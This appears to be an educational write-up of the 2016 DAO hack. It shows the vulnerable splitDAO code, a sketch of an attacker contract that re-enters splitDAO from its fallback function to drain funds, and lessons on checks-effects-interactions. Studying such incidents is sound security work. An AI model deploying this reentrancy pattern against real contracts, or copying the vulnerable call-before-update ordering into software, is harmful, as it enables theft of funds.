← Back to Hack Archive

The DAO Hack

June 17, 2016$60 millionReentrancy AttackEthereum

The Story

In the early hours of June 17, 2016, a mysterious entity began draining funds from The DAO, a decentralized autonomous organization that had raised over $150 million in what was then the largest crowdfunding event in history.

The attacker moved methodically, exploiting a vulnerability in The DAO's code that allowed them to repeatedly withdraw ETH before the contract could update its balance. Like a phantom in the dark forest of blockchain, they extracted value while leaving no trace of their identity.

As the community watched in horror, the price of ETH plummeted. The attack eventually led to a contentious hard fork of the Ethereum blockchain, splitting it into Ethereum (ETH) and Ethereum Classic (ETC).

Technical Analysis

The DAO hack exploited a classic reentrancy vulnerability in the contract's code. Here's how it worked:

  1. The attacker created a malicious contract that interacted with The DAO's splitDAO() function.

  2. When the victim contract sent funds to the attacker contract, it triggered the attacker's fallback function before updating its own balance.

  3. This fallback function would call splitDAO() again, and since the balance hadn't been updated yet, the attacker could withdraw funds multiple times.

The key vulnerability in the code:

// Vulnerable code in The DAO
function splitDAO(
    uint _proposalID,
    address _newCurator
) noEther onlyTokenholders returns (bool _success) {
    // ... [code omitted for brevity]
    
    // The critical vulnerability - transfer happens before state update
    if (!_newCurator.call.value(ethBalance)()) {
        throw;
    }
    
    // State update happens after the external call
    totalSupply -= balances[msg.sender];
    balances[msg.sender] = 0;
    
    // ... [code omitted for brevity]
}

The proper implementation would follow the Checks-Effects-Interactions pattern, updating the state variables before making any external calls.

The attacker's contract might have looked something like this:

contract Attacker {
    address dao = 0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413; // The DAO address
    address owner;
    
    constructor() {
        owner = msg.sender;
    }
    
    // Fallback function that gets called when receiving ETH
    function() payable {
        // Call splitDAO again before the state update occurs
        if (msg.sender == dao) {
            dao.call(bytes4(sha3("splitDAO(uint256,address)")), 1, this);
        }
    }
    
    // Withdraw the stolen funds
    function withdraw() {
        require(msg.sender == owner);
        owner.transfer(address(this).balance);
    }
}

Lessons Learned

  1. Always follow the 'Checks-Effects-Interactions' pattern in smart contracts.
  2. External calls should be made after state variables are updated.
  3. Consider using mutex locks to prevent reentrancy.
  4. Implement withdrawal patterns instead of direct transfers when possible.
  5. Thorough auditing and formal verification are essential for high-value contracts.